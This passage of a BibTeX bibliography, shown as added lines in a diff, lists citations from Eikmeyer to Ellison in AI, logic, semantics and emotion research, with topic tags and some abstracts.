Conversational + Analysis", pp. 500--509 + } , + topic = {nl-semantics;context;lexical-semantics;} + } + +@incollection{ eikmeyer-rieser:1981b, + author = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + title = {Word Semantics from Different Points of View: An + Introduction to the Present Volume}, + booktitle = {Words, Worlds, and Contexts: New Approaches to Word + Semantics}, + publisher = {Walter de Gruyter}, + year = {1981}, + editor = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + pages = {1--18}, + address = {Berlin}, + topic = {lexical-semantics;} + } + +@incollection{ eikmeyer-rieser:1981c, + author = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + title = {Meanings, Intensions, and Stereotypes: A New Approach to + Linguistic Semantics}, + booktitle = {Words, Worlds, and Contexts: New Approaches to Word + Semantics}, + publisher = {Walter de Gruyter}, + year = {1981}, + editor = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + pages = {133--150}, + address = {Berlin}, + topic = {vagueness;context;dynamic-semantics;compositionality; + foundations-of-semantics;} + } + +@incollection{ eikmeyer-rieser:1983a, + author = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + title = {A Formal Theory of Context Dependence and Context Change}, + booktitle = {Approaching Vagueness}, + publisher = {North-Holland}, + year = {1983}, + editor = {Thomas T. Ballmer and Manfred Pinkal}, + pages = {131--188}, + address = {Amsterdam}, + topic = {vagueness;context;} + } + +@incollection{ eikmeyer-rieser:1983b, + author = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + title = {A Nominalistic Approach to Ambiguity and Vagueness Considered from a Mildly {P}latonistic Point of View}, + booktitle = {Approaching Vagueness}, + publisher = {North-Holland}, + year = {1983}, + editor = {Thomas T. Ballmer and Manfred Pinkal}, + pages = {393--422}, + address = {Amsterdam}, + contentnote = {This is based on the approach of scheffler:1982a.}, + topic = {vagueness;} + } + +@book{ eilan-etal:1993a, + editor = {N. Eilan and R. McCarthy and M. W. Brewer}, + title = {Spatial Representation: Problems in Philosophy + and Psychology}, + publisher = {Oxford University Press}, + year = {1993}, + address = {Oxford}, + topic = {spatial-representation;} + } + +@article{ eisenhart:1989a, + author = {K. Eisenhart}, + title = {Agency Theory: An Assessment and Review}, + journal = {Academy of Management Review}, + year = {1989}, + volume = {14}, + number = {1}, + pages = {57--74}, + missinginfo = {A's 1st name.}, + topic = {agent-modeling;autonomous-agents;} + } + +@book{ eiser:1984a, + editor = {J. Richard Eiser}, + title = {Attitudinal Judgment}, + publisher = {Springer-Verlag}, + year = {1984}, + address = {Berlin}, + ISBN = {0387909117}, + topic = {social-psychology;attitudes-in-psychology;} + } + +@book{ eiser:1986a, + author = {J. Richard Eiser}, + title = {Social Psychology: Attitude, Cognition, and Social Behavior}, + publisher = {Cambridge University Press}, + year = {1986}, + address = {Cambridge, England}, + ISBN = {0521326788}, + topic = {social-psychology;cognitive-psychology;attitudes-in-psychology;} + } + +@article{ eisinger-etal:1991a, + author = {Norbert Eisinger and Hans J\"urgen Ohlbach and Axel Pr\"acklein}, + title = {Reduction Rules For Resolution-Based Systems}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {50}, + number = {2}, + pages = {141--181}, + acontentnote = {Abstract: + Inference rules for resolution-based systems can be classified + into deduction rules, which add new objects, and reduction + rules, which remove objects. Traditional reduction rules like + subsumption do not actively contribute to a solution, but they + help to avoid redundancies in the search space. We present a + number of advanced reduction rules, which can cope with high + degrees of redundancy and play a distinctly active part because + they find trivial solutions on their own and thus relieve the + control component for the deduction rules from low level tasks. + We describe how these reduction rules can be implemented with + reasonable efficiency in a clause graph resolution system, but + they are not restricted to this particular representation. } , + topic = {theorem-proving;resolution;redundancy-elimination;} + } + +@incollection{ eisinger-olbach:1993a, + author = {Norbert Eisinger and Hans J\"urgen Olbach}, + title = {Deduction Systems Based on Resolution}, + booktitle = {The Handbook of Logic in Artificial Intelligence and + Logic Programming, Volume 1: Deductive + Methodologies}, + editor = {Dov Gabbay and Christopher Hogger and J.A. Robinson}, + publisher = {Oxford University Press}, + pages = {184--273}, + address = {Oxford}, + year = {1993}, + missinginfo = {ed's 1st name}, + topic = {kr;logic-in-AI-survey;theorem-proving;resolution + ;kr-course;} +} + +@inproceedings{ eisner:1996a, + author = {Jason Eisner}, + title = {Efficient Normal-Form Parsing for Combinatory Categorial + Grammar}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {79--86}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {parsing-algorithms;categorial-grammar;} + } + +@inproceedings{ eisner:1997a, + author = {Jason Eisner}, + title = {Eficient Generation in Primitive Optimality Theory}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {313--320}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {computational-phonology;optimality-theory;} + } + +@article{ eisner:2000a, + author = {Jason Eisner}, + title = {Review of {\it Optimality Theory}, by Ren\'e {K}ager}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {2}, + pages = {286--290}, + xref = {Review of: kager:1999a.}, + topic = {optimality-theory;} + } + +@article{ eiter-gottlob:1992a, + author = {Thomas Eiter and Georg Gottlob}, + title = {On the Complexity of Propositional Knowledge Base Revision, + Updates, and Counterfactuals}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {57}, + number = {2--3}, + pages = {227--270}, + topic = {kr;belief-revision;kr-complexity-analysis;kr-course;} + } + +@inproceedings{ eiter-gottlob:1993a, + author = {Thomas Eiter and Georg Gottlob}, + title = {The Complexity of Nested Counterfactuals and Iterated + Knowledge Base Revision}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {526--531}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {conditionals;belief-revision;kr-complexity-analysis;} + } + +@inproceedings{ eiter-gottlob:1995a, + author = {Thomas Eiter and George Gottlob}, + title = {Semantics and Complexity of Abduction From Default Theories}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {870--877}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + xref = {Journal Publication: eiter-etal:1997a.}, + topic = {abduction;} + } + +@article{ eiter-etal:1997a, + author = {Thomas Eiter and Georg Gottlob and Nicola Leone}, + title = {Semantics and Complexity of Abduction from Default + Theories}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {90}, + number = {1--2}, + pages = {177--233}, + topic = {abduction;nonmonotonic-reasoning;} + } + +@incollection{ eiter-etal:1998a, + author = {Thomas Eiter and Nicola Leone and Cristinel Mateis + and Gerald Pfeifer and Francesco Scarcello}, + title = {The {KR} System {\tt dlv}: Progress Report, Comparisons + and Benchmarks}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {406--417}, + address = {San Francisco, California}, + topic = {kr;disjunctive-logic-programming;kr-course;} + } + +@article{ eiter-gottlob:1998a, + author = {Thomas Eiter and Georg Gottlob}, + title = {On the Expressiveness of Frame Satisfiability and + Fragments of Second-Order Logic}, + journal = {Journal of Symbolic Logic}, + year = {1998}, + volume = {63}, + number = {1}, + pages = {73--82}, + topic = {higher-order-logic;} + } + +@inproceedings{ eiter:1999a, + author = {Thomas Eiter}, + title = {Using the {DLV} System for {AI} Applications (Abstract)}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {disjunctive-logic-programming;nonmonotonic-reasoning;} + } + +@article{ eiter-etal:1999a, + author = {Thomas Eiter and V.S. Subrahmanian and George Pick}, + title = {Heterogeneous Active Agents, {I}: Semantics}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {108}, + number = {1--2}, + pages = {179--255}, + topic = {agent-architectures;agent-oriented-programming;} + } + +@inproceedings{ eiter-etal:1999b, + author = {Thomas Eiter and W. Faber and G. Gottlob and C. Koch + and C. Mateis and Nicola Leone and G. Pfeifer and + F. Scarcello}, + title = {The {DLV} System}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {disjunctive-logic-programming;} + } + +@article{ eiter-etal:1999c, + author = {Thomas Eiter and Toshehide Ibaraki and Kazuhisa Makino}, + title = {Computing Intersections of {H}orn Theories for + Reasoning with Models}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {110}, + number = {1}, + pages = {57--101}, + topic = {model-construction;} + } + +@article{ eiter-subrahmanian:1999a, + author = {Thomas Eiter and V.S. Subrahmanian}, + title = {Heterogeneous Active Agents, {II}: Algorithms + and Complexity}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {108}, + number = {1--2}, + pages = {257--307}, + topic = {agent-architectures;agent-oriented-programming; + complexity-in-AI;} + } + +@article{ eiter-etal:2000a, + author = {Thomas Eiter and V.S. Subrahmanian and T.J. Rogers}, + title = {Heterogeneous Active Agents, {III}: Polynomially + Implementable Agents}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {117}, + number = {1}, + pages = {107--167}, + acontentnote = {Abstract: + In ``Heterogeneous active agents, I'' (Eiter et al., 1999), two of + the authors have introduced techniques to build agents on top of + arbitrary data structures, and to ``agentize'' new/existing + programs. They provided a series of successively more + sophisticated semantics for such agent systems, and showed that + as these semantics become epistemically more desirable, a + computational price may need to be paid. In this paper, we + identify a class of agents that are called weakly + regular---this is done by first identifying a fragment of agent + programs (Eiter et al., 1999) called weakly regular agent + programs (WRAPs for short). It is shown that WRAPs are definable + via three parameters---checking for a property called ``safety'', + checking for a property called ``conflict-freedom'' and checking + for a ``deontic stratifiability'' property. Algorithms for each of + these are developed. A weakly regular agent is then defined in + terms of these concepts, and a regular agent is one that + satisfies an additional boundedness property. We then describe a + polynomial algorithm that computes (under suitable assumptions) + the reasonable status set semantics of regular agents---this + semantics was identified by Eiter et al. (1999) as being + epistemically most desirable. Though this semantics is + coNP-complete for arbitrary agent programs (Eiter and + Subrahmanian, 1999), it is polynomially computable via our + algorithm for regular agents. Finally, we describe our + implementation architecture and provide details of how we have + implemented RAPs, together with experimental results.}, + topic = {deontic-logic;software-agents;kr;} + } + +@incollection{ eiter-etal:2000b, + author = {Thomas Eiter and Wolfgang Faber and Nicola Leone and + Gerald Pfeifer}, + title = {Declarative Problem-Solving in {DLV}}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + pages = {79--103}, + address = {Dordrecht}, + topic = {logic-in-AI;kr;disjunctive-logic-programming; + problem-solving-architectures;} + } + +@inproceedings{ eiter-lukasiewicz:2000a1, + author = {Thomas Eiter and Thomas Lukasiewicz}, + title = {Complexity Results for Default Reasoning from Conditional + Knowledge Bases}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {62--73}, + xref = {Journal version: eiter-lukasiewicz:2000a1.}, + topic = {complexity-in-AI;nonmonotonic-logic;} + } + +@article{ eiter-lukasiewicz:2000a2, + author = {Thomas Eiter and Thomas Lukasiewicz}, + title = {Complexity Results for Default Reasoning from Conditional + Knowledge Bases}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {124}, + number = {2}, + pages = {169--241}, + xref = {Conference version: eiter-lukasiewicz:2000a1.}, + topic = {complexity-in-AI;nonmonotonic-logic;} + } + +@incollection{ eiter-etal:2002a, + author = {Thomas Eiter and Michael Fink and Giuliana Sabbatini and + Hans Tompits}, + title = {A Generic Approach to Knowledge-Based Information-Site + Selection}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {459--469}, + address = {San Francisco, California}, + topic = {kr;AI-and-the-internet;} + } + +@incollection{ eiter-lukasiewicz:2002a, + author = {Thomas Eiter and Thomas Lukasiewicz}, + title = {Complexity Results for Explanations in the Structural-Model + Approach}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {49--60}, + address = {San Francisco, California}, + topic = {kr;complexity-in-AI;causal-explanations;} + } + +@incollection{ ekbia-maguitman:2001a, + author = {Hamid R. Ekbia and Ana G. Maguitman}, + title = {Context and Relevance: A Pragmatic Approach}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {156--169}, + address = {Berlin}, + topic = {context;relevance;} + } + +@book{ eklund:1991a, + author = {Peter Eklund}, + title = {An Epistemic Approach to Interactive Design in Multiple + Inheritance Hierarchies}, + publisher = {Link\"oping University, Dept. of Computer and Information + Science}, + year = {1991}, + address = {Link\"oping}, + acontentnote = {Abstract: + The thesis explores the advantages of a marriage + between a 'mixed dialogue' interaction metaphor and belief + logics and in particular how the two can be used for + multiple inheritance hierarchy design. The result is a + design aid which produces critiques of multiple inheritance + hierarchies in terms of their logical consequences. The + work draws on a number of theoretical issues in artificial + intelligence, namely belief logics and multiple inheritance + reasoning, applying 'belief sets' to dialogue and using + multiple inheritance hierarchy design as a specific + application. The work identifies three design modes for the + interface which reflect the intuitions of multiple + inheritance hierarchy design and conform to an existing + user modeling framework. A major survey of multiple + inheritance hierarchies leads to the allocation of a + precise inheritance semantics for each of these design + modes. The semantics enable a definitionof [sic] entailment + in each, and are in turn used to determine the translation + from inheritance networks to belief sets. The formal + properties of belief sets imply that when an ambiguous + inheritance network is encountered more than than [sic] one + belief set must be created. Each belief set provides an + alternative interpretation of the logical consequences of + the inheritance heirarchy [sic]. A 'situations matrix' + provides the basic referent data structure for the system + we describe. Detailed examples of multiple inheritance + construction demonstrate that a significant design aid + results from an explicit representation of operator beliefs + and their internalization using an epistemic logic.}, + topic = {inheritance-theory;} + } + +@article{ ekman_p-friesen:1969a, + author = {Paul Ekman and Wallace V. Friesen}, + title = {The Repertoire of Nonverbal Behavior: Categories, + Origins, Usage, and Coding}, + journal = {Semiotica}, + volume = {1}, + number = {1}, + pages = {49--98}, + year = {1969}, + topic = {nonverbal-behavior;cognitive-psychology;} + } + +@book{ ekman_p-friesen:1975a, + author = {Paul Ekman and Wallace V. Friesen}, + title = {Unmasking the Face: A Guide To Recognizing Emotions From Facial + Clues}, + publisher = {Prentice-Hall}, + year = {1975}, + address = {Englewood Cliffs, New Jersey}, + ISBN = {013938183X}, + topic = {emotion;facial-expression;} + } + +@book{ ekman_p-friesen:1978a, + author = {Paul Ekman and Wallace V. Friesen}, + title = {Facial Action Coding System}, + publisher = {Consulting Psychologists Press}, + address = {Palo Alto, CA}, + year = {1978}, + topic = {facial-expression;} + } + +@incollection{ ekman_p:1979a, + author = {Paul Ekman}, + title = {About Brows: Emotional and Conversational Signals}, + editor = {M. von Cranach and K. Foppa and W. Lepenies and D. + Ploog}, + booktitle = {Human Ethology: Claims and Limits of a New + Discipline: Contributions to the Colloquium}, + publisher = {Cambridge University Press}, + address = {Cambridge}, + year = {1979}, + pages = {169--202}, + topic = {emotion;facial-expression;} + } + +@book{ ekman_p:1982a, + editor = {Paul Ekman}, + title = {Emotion in the Human Face}, + publisher = {Cambridge University Press}, + year = {1982}, + address = {Cambridge}, + ISBN = {0521239923}, + topic = {emotion;facial-expression;} + } + +@article{ ekman_p-friesen:1982a, + author = {Paul Ekman and Wallace V. Friesen}, + title = {Felt, False, and Miserable Smiles}, + journal = {Journal of Nonverbal Behavior}, + volume = {6}, + number = {4}, + pages = {238--252}, + year = {1982}, + topic = {facial-expression;emotion;} + } + +@book{ ekman_p:1985a, + author = {Paul Ekman}, + title = {Telling Lies: Clues to Deceit in the Marketplace, Politics, and + Marriage}, + publisher = {Norton}, + year = {1985}, + address = {New York}, + ISBN = {0393018830}, + topic = {deception;} + } + +@book{ ekman_p-etal:1985a, + author = {Paul Ekman and Wallace V. Friesen and Phoebe Ellsworth}, + title = {Emotion in the Human Face: Guide-Lines for Research and an + Integration of Findings}, + publisher = {Pergamon Press}, + year = {1972}, + address = {New York}, + ISBN = {0080166431}, + topic = {emotion;facial-expression;} + } + +@article{ ekman_p:1990a, + author = {Paul Ekman and Richard J. Davidson and Wallace V. + Friesen}, + title = {The Duchenne Smile: Emotional Expression and Brain + Physiology {II}}, + journal = {Journal of Personality and Social Psychology}, + volume = {58}, + number = {2}, + pages = {342--353}, + year = {1990}, + topic = {emotion;facial-expression;} + } + +@article{ ekman_p:1992a, + author = {Paul Ekman}, + title = {An Argument for Basic Emotions}, + journal = {Cognition and Emotion}, + volume = {6}, + number = {3/4}, + pages = {169--200}, + year = {1992}, + topic = {emotions;cognitive-psychology;} + } + +@book{ ekman_p:1997a, + author = {Paul Ekman}, + title = {What the Face Reveals: Basic and Applied Studies of Spontaneous + Expression Using the Facial Action Coding System ({FACS})}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + ISBN = {0195104463}, + topic = {facial-expression;} + } + +@article{ elbourne:2001a, + author = {Paul Elbourne}, + title = {E-Type Anaphora as {NP}-Deletion}, + journal = {Natural Language Semantics}, + year = {2001}, + volume = {9}, + number = {3}, + pages = {241--288}, + topic = {donkey-anaphora;} + } + +@book{ elcock-michie:1977a, + editor = {W.E. Elcock and Donald Michie}, + title = {Machine Intelligence 8}, + publisher = {Ellis Horwood}, + year = {1977}, + address = {Chichester}, + ISBN = {085224195X}, + topic = {AI-survey;} + } + +@techreport{ elgotdrapkin:1988a, + author = {Jennifer Elgot-Drapkin}, + title = {Step-Logic: Reasoning Situated in Time}, + institution = {Department of Computer Science, University of Maryland}, + number = {CS-TR-2156}, + year = {1988}, + address = {College Park, Maryland}, + topic = {temporal-reasoning;} + } + +@techreport{ elgotdrapkin:1988b, + author = {Jennifer Elgot-Drapkin}, + title = {Reasoning Situated in Time: Basic Concepts}, + institution = {Department of Computer Science, University of Maryland}, + number = {CS-TR-2016}, + year = {1988}, + address = {College Park, Maryland}, + topic = {temporal-reasoning;} + } + +@unpublished{ elgotdrapkin-perlis:1988a, + author = {Jennifer Elgot-Drapkin and Donald Perlis}, + title = {Reasoning Situated in Time}, + year = {1988}, + note = {Unpublished manuscript, Department of Computer Science, + University of Maryland}, + missinginfo = {Year is a guess.}, + topic = {temporal-reasoning;reasoning-in-time;} + } + +@inproceedings{ elgotdrapkin:1991a, + author = {Jennifer Elgot-Drapkin}, + title = {Step-Logic and the Three-Wise-Men Problem}, + booktitle = {Proceedings of the Ninth National Conference on + Artificial Intelligence}, + year = {1991}, + editor = {Thomas Dean and Kathleen McKeown}, + pages = {412--417}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {epistemic-logic;} + } + +@incollection{ elgotdrapkin-etal:1991a, + author = {Jennifer Elgot-Drapkin and Michael Miller and and Donald + Perlis}, + title = {Memory, Reason, and Time: the Step-Logic Approach}, + booktitle = {Philosophy and {AI}: Essays at the Interface}, + publisher = {The {MIT} Press}, + year = {1991}, + editor = {Robert Cummins and John L. Pollock}, + pages = {79--103}, + address = {Cambridge, Massachusetts}, + topic = {temporal-reasoning;reasoning-in-time;} + } + +@unpublished{ elgotdrapkin-etal:1996a, + author = {Jennifer Elgot-Drapkin and Sarit Kraus and Michael Miller + and Madhura Nirke and Donald Perlis}, + title = {Active Logics: A Unified Formal Approach to Episodic + Reasoning}, + year = {1996}, + note = {Unpublished manuscript, Computer Science Department, + University of Maryland.}, + topic = {common-sense-reasoning;foundations-of-AI;active-logic;} + } + +@phdthesis{ elhadad:1992a, + author = {Michael Elhadad}, + title = {Using Argumentation to Control Lexical Choice: A Functional + Unification Implementation}, + school = {Computer Science Department, Columbia University}, + year = {1992}, + topic = {lexical-choice;nl-generation;} +} + +@incollection{ elhadad-robin:1992a, + author = {Michael Elhadad and Jacques Robin}, + title = {Controlling Content Realization with Functional + Unification Grammar}, + booktitle = {Proceedings of the Sixth International Workshop on + Natural Language Generation, Trento, Italy}, + year = {1992}, + pages = {89--104}, + editor = {Robert Dale and Eduard Hovy and Dieter Roesner and + Oliviero Stock}, + publisher = {Springer Verlag. Lecture Notes in Artificial Intelligence}, + topic = {nl-generation;nl-realization;unification;} +} + +@techreport{ elhalad:1991a, + author = {Michael Elhadad}, + year = {1991}, + title = {{FUF}: the Universal Unifier User Manual Version 5.0}, + institution = {Columbia University}, + number = {CUCS-038-91}, + topic = {nl-generation;} +} + +@unpublished{ elio-pelletier:1995a, + author = {Ren\'ee Elio and Francis Jeffrey Pelletier}, + title = {A Study of Belief Update Theories}, + year = {1995}, + note = {Unpublished manuscript, Univesity of Alberta.}, + missinginfo = {Year is a guess.}, + topic = {belief-revision;} + } + +@book{ elithorn-jones:1973a, + editor = {Alick Elithorn and David Jones}, + title = {Artificial and Human Thinking}, + publisher = {Jossey-Bass}, + year = {1973}, + address = {San Francisco}, + ISBN = {087589156X}, + topic = {foundations-of-AI;} + } + +@article{ elkan:1990a, + author = {Charles Elkan}, + title = {A Rational Reconstruction of Nonmonotonic Truth + Maintenance Systems}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {43}, + number = {2}, + pages = {219--234}, + acontentnote = {Abstract: + The main contribution of this paper is a precise + characterization of the inferences performed by nonmonotonic + truth maintenance systems (TMSs), using two standard + nonmonotonic formalisms: logic programming with the stable set + semantics and autoepistemic logic. The paper also contains an + analysis of the role of dependency-directed backtracking in + dealing with contradictions, and a proof that implementing a + nonmonotonic TMS is an NP-complete problem. + } , + topic = {nonmonotonic-logic;truth-maintenance;backtracking;} + } + +@inproceedings{ elkan:1991a, + author = {Charles Elkan}, + title = {Formalizing Causation in First-Order Logic}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Logical Formalizations of Commonsense Reasoning}, + year = {1991}, + organization = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + missinginfo = {pages}, + topic = {causality;} + } + +@inproceedings{ elkan:1991b, + author = {Charles Elkan}, + title = {Reasoning about Action in First-Order Logic}, + booktitle = {Proceedings of the Conference of the {C}anadian + {S}ociety for {C}omputational {S}tudies of {I}ntelligence ({CSCSI})}, + year = {1991}, + pages = {221--227}, + organization = {Canadian Society for Computational Studies of Intelligence}, + publisher = {Morgan Kaufman}, + address = {San Francisco}, + missinginfo = {Editor}, + topic = {planning-formalisms;action-formalisms;} + } + +@inproceedings{ elkan:1993a, + author = {Charles Elkan}, + title = {The Paradoxical Success of Fuzzy Logic}, + booktitle = {Proceedings of the Eleventh National Conference on + Artificial Intelligence}, + year = {1993}, + editor = {Richard Fikes and Wendy Lehnert}, + pages = {698--703}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {uncertainty-in-AI;foundations-of-AI;fuzzy-logic;} + } + +@inproceedings{ elkan:1995a, + author = {Charles Elkan}, + title = {On Solving the Qualification Problem}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Extending Theories of Action: Formal Theories and Applications}, + year = {1995}, + organization = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + missinginfo = {pages}, + topic = {kr;qualification-problem;context;kr-course;} + } + +@inproceedings{ elkan:1995b, + author = {Charles Elkan}, + title = {Formalizing Counterfactual and Nondeterministic Actions in + First Order Logic}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Extending Theories of Action: Formal Theories and Applications}, + year = {1995}, + organization = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + missinginfo = {pages}, + topic = {actions;nondeterministic-action;counterfactuals;action-formalisms;} + } + +@article{ elliot-brzezinski:1998a, + author = {Clark Elliot and Jacek Brzezinski}, + title = {Autonomous Agents as Synthetic Characters}, + journal = {The {AI} Magazine}, + year = {1998}, + volume = {19}, + number = {2}, + pages = {13--30}, + topic = {autonomous-agents;synthesized-emotions;simulated-characters;} + } + +@incollection{ elliott_j-etal:2000a, + author = {John Elliott and Eric Antwell and Bill Whyte}, + title = {Increasing our Ignorance of Language: Identifying Language + Structure in an Unknown `Signal'\,}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {25--30}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;communication-with-aliens;} + } + +@book{ ellis_a-harper_ra:1961a, + author = {Albert Ellis and Robert A. Harper}, + title = {A Guide to Rational Living}, + publisher = {Prentice-Hall}, + year = {1961}, + address = {Englewood Cliffs, New Jersey}, + topic = {decision-theory;} + } + +@incollection{ ellis_b:1965a, + author = {Brian Ellis}, + title = {The Origin and Nature of {N}ewton's Laws of Motion}, + booktitle = {Beyond the Edge of Certainty: Essays in Contemporary + Science and Philosophy}, + editor = {Robert G. Colodny}, + publisher = {Prentice-Hall, Inc.}, + year = {1965}, + address = {Englewood Cliffs, New Jersey}, + topic = {philosophy-of-physics;} + } + +@article{ ellis_b:1973a, + author = {Brian Ellis}, + title = {The Logic of Subjective Probability}, + journal = {British Journal for the Philosophy of Science}, + year = {1979}, + volume = {24}, + pages = {125--152}, + missinginfo = {A's 1st name, number}, + topic = {foundations-of-probability;probability-semantics;} + } + +@article{ ellis_b:1976a, + author = {Brian Ellis}, + title = {Epistemic Foundations of Logic}, + journal = {Journal of Philosophical Logic}, + year = {1976}, + volume = {5}, + number = {2}, + pages = {187--204}, + topic = {probability-semantics;epistemic-semantics;} + } + +@article{ ellis_b-etal:1977a, + author = {Brian Ellis and Frank Jackson and Robert Pargetter}, + title = {An Objection to Possible-World Semantics for Counterfactual + Logics}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {3}, + pages = {355--357}, + contentnote = {The objection is based on disjunctive antecedents.}, + topic = {conditionals;} + } + +@article{ ellis_b:1978a, + author = {Brian Ellis}, + title = {A Unified Theory of Conditionals}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {7}, + number = {2}, + pages = {107--124}, + topic = {conditionals;} + } + +@book{ ellis_b:1979a, + author = {Brian Ellis}, + title = {Rational Belief Systems}, + publisher = {Rowman and Littlefield}, + year = {1979}, + address = {Totowa, New Jersey}, + topic = {probability-semantics;epistemic-semantics;} + } + +@article{ ellis_b:1982a, + author = {Brian Ellis}, + title = {Reply to {S}orensem}, + journal = {Journal of Philosophical Logic}, + year = {1982}, + volume = {11}, + number = {4}, + pages = {461--462}, + topic = {epistemic-semantics;} + } + +@book{ ellis_b:1991a, + author = {Rod Ellis}, + title = {Data Abstraction and Program Design}, + publisher = {Pitman}, + year = {1991}, + address = {London}, + ISBN = {0273032577 (pbk)}, + topic = {software-engineering;} + } + +@book{ ellis_c:1989a, + author = {Charlie Ellis}, + title = {Expert Knowledge and Explanation: The Knowledge-Language + Interface}, + publisher = {Ellis Horwood}, + year = {1989}, + address = {Chichester}, + ISBN = {0745801668}, + topic = {expert-systems;HCI;} + } + +@incollection{ ellis_d:1983a, + author = {Donald G. Ellis}, + title = {Language, Coherence, and Textuality}, + booktitle = {Conversational Coherence: Form, Structure and Strategy}, + publisher = {Sage Publications}, + year = {1983}, + editor = {Robert T. Craig and Karen Tracey}, + pages = {222--240}, + address = {London}, + topic = {discourse-coherence;discourse-analysis;pragmatics;} + } + +@book{ ellis_j:1989a, + author = {John M. Ellis}, + title = {Against Deconstruction}, + publisher = {Princeton University Press}, + year = {1989}, + address = {Princeton, New Jersey}, + contentnote = {Buy this? Attempts a rational arg against deconstruction. + Recommended by Poser.}, + topic = {deconstructionism;literary-criticism;postmodernism; + poststructuralism;} + } + +@book{ ellis_sr:1991a, + editor = {Stephen R. Ellis}, + title = {Pictorial Communication in Virtual and Real Environments}, + publisher = {Taylor \& Francis}, + year = {1991}, + address = {London}, + ISBN = {0748400087}, + topic = {virtual-reality;HCI;} + } + +@book{ ellison:1997a, + editor = {T. Mark Ellison}, + title = {{CoNLL97}: Computational Natural Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + address = {Somerset, New Jersey}, + contentnote = {TC: + 1. Amit Bagga and Joyce Yue Chai, "A Trainable Message + Understanding System" + 2. Mary Elaine Calif and Raymond J. Mooney, "Relational + Learning of Pattern-Match Rules for Information + Extraction" + 3. Wide R. Hogenbout and Yuji Matsumoto, "A Preliminary + Study of Word Clustering Based on Syntactic Behavior" + 4. Ji Donghong and He Jun and Huang Changning, "Learning + New Compositions from Given Ones" + 5. Mehmet Kayaalp and Ted Pedersen and Rebecca Bruce, "A + Statistical Decision Making Method: A Case Study + on Prepositional Attachment" + 6. Emin Erkan Korkmaz and G\"okt\"urk \"U\c{c}oluk, "A + Method for Improving Automatic Word Categorization" + 7. Montse 